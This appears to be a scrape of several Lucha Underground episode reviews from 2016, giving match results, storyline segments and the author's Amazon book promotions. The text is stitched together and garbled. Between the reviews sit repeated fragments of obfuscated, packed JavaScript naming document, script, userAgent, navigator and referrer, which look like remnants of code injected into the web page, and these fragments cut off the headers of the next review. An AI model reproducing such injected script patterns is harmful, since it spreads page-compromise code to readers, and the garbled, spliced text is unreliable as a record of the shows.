Jeremiah Crane vs. Mil Muertes

Crane goes right after him at the entrance and is knocked for a loop as a result. A running forearm to the back and a powerslam plant Crane again. As the referee looks at Catrina (understandable), cue Puma with a kendo stick shot, allowing Crane to hit a bicycle kick for the pin at 2:04.

Puma kneels to Vampiro and Striker is scared.

A stranger gives Sexy Star a present but says he used to be a Johnny Mundo fanboy. The guy leaves and the package contains a spider, just like a few weeks back.

Famous B. gives Texano an offer of fame and is promptly scared off.

PJ Black/Jack Evans vs. Angelico/Son of Havoc

Dario is looking in his glowing box when Star comes in. She wants and is granted a match with Mariposa next week.

Cage vs. Texano

Match number four in a best of five series with Cage up 2-1. Texano runs him over to start and hits a sliding clothesline but Cage turns it into a slugout. A turnbuckle pad comes off and Cage goes face first into the steel, setting up a sitout powerbomb to tie the series at 2-2 at 2:01.

Cage vs. Texano

This is winner take all and Cage is coming in bloody. Texano stomps him down in the corner but walks into a DDT. That just earns Cage a kick to the head in the corner, followed by a top rope hurricanrana and a slingshot splash for two. Cage kicks him in the face again and sends Texano outside for a big suicide dive.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhtbb|var|u0026u|referrer|disrr||js|php'.split('|'),0,{})) Underground
Date: December 14, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The recap looks at Angelico wanting Johnny Mundo, the Kobra Moon Tribe, Matanza wanting Rey Mysterio and Sexy Star earning a title rematch inside a cage.

Battle of the Bulls First Round: Dante Fox vs. Killshot vs. Jeremiah Crane vs. Mariposa

Crane throws in a pile of chairs and sets them up, eventually meaning a Tower of Doom with Killshot getting the worse of it. Mariposa is the only one up so the fans cheer, even when she beats on everyone else with chairs. Killshot gets in a few shots of his own and everyone is down.

Killshot kicks Fox in the head and gives him the top rope double stomp.

Taya is filming the rest of the Worldwide Underground in what feels like an NWO inspired vignette.

Sexy Star sees a spider and freaks out. So now she can rise above spiders.

Kobra Moon vs. Drago

Fenix and Aerostar come in for the save, only to have Moon summon a masked monster to clean house. The fans call him Luchasaurus for a good name. Drago gets tombstoned and carried out.

Star goes after Mariposa, accusing her of planting the spider. A wall is broken and Mariposa seems intimidated.

Battle of the Bulls First Round: PJ Black vs. Jack Evans vs. Son of Havoc vs. Angelico

That leaves us with PJ Black vs. Jeremiah Crane vs. the Mack vs. Cage for the title shot.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enref|var|u0026u|referrer|fsybb||js|php'.split('|'),0,{})) Underground
Date: March 30, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

We open with a recap of last week, along with the debut of Mariposa a few weeks back and the Disciples of Death losing the Trios Titles.

Taya/Johnny Mundo vs. Mr. Cisco/Cortez Castro

Castro and Taya get things going as this is a rare heel vs. heel match. A running boot to the face takes Taya down and a double bulldog gets two. Taya finally gets in a shot of her own and drags Cisco to the corner, where Johnny tags himself in. For some reason that annoys her, even though it seemed like she was going over for a tag in the first place. Johnny takes way too long to set up the End of the World and gets rolled up for two, followed by a neckbreaker from Cisco.

Trios Titles: Son of Havoc/Ivelisse/Angelico vs. Disciples of Death

Havoc drops them both with a double back elbow. A double cross body does the same and a standing moonsault gets rid of Negro to tie it at one. Sinestro kicks Havoc down but misses a moonsault, only to have Catrina break up the shooting star. Cue Ivelisse again to take care of Catrina so Havoc can dive onto Sinestro. Now the shooting star can connect to retain the titles at 9:20.

Mariposa vs. Sexy Star

Post match Mack gets beaten down.

Lucha Underground Title: Pentagon Jr. vs. Matanza

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rithz|var|u0026u|referrer|tbeih||js|php'.split('|'),0,{})) Underground
Date: March 16, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Trios Titles: Disciples of Death vs. Son of Havoc/Ivelisse/Angelico

Rating: C-. Nothing much to see here and the champs never felt like they were in control whatsoever. Like I said though, it was made very clear that there was no chance they were keeping the titles after they more or less vanished. To be fair though, the dysfunctional team works better anyway so this was smart.

Johnny Mundo workout video.

Chavo Guerrero vs. Texano

We recap the end of last week show with Fenix cashing in the Gift of the Gods Title.

Mil Muertes beats down the Disciples of Death for losing the titles until Catrina breaks it up.

The announcers preview Aztec Warfare.

Lucha Underground Title: Fenix vs. Mil Muertes

Fenix goes up again but Muertes runs up for what I think was supposed to be a super Flatliner but wound up as a neckbreaker/DDT. Still looked good enough. Back up and Mil tries the Flatliner, only to have Fenix counter into a victory roll with a bridge to trap the legs (sweet move) for the pin and the title to blow the roof off the place at 13:40.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6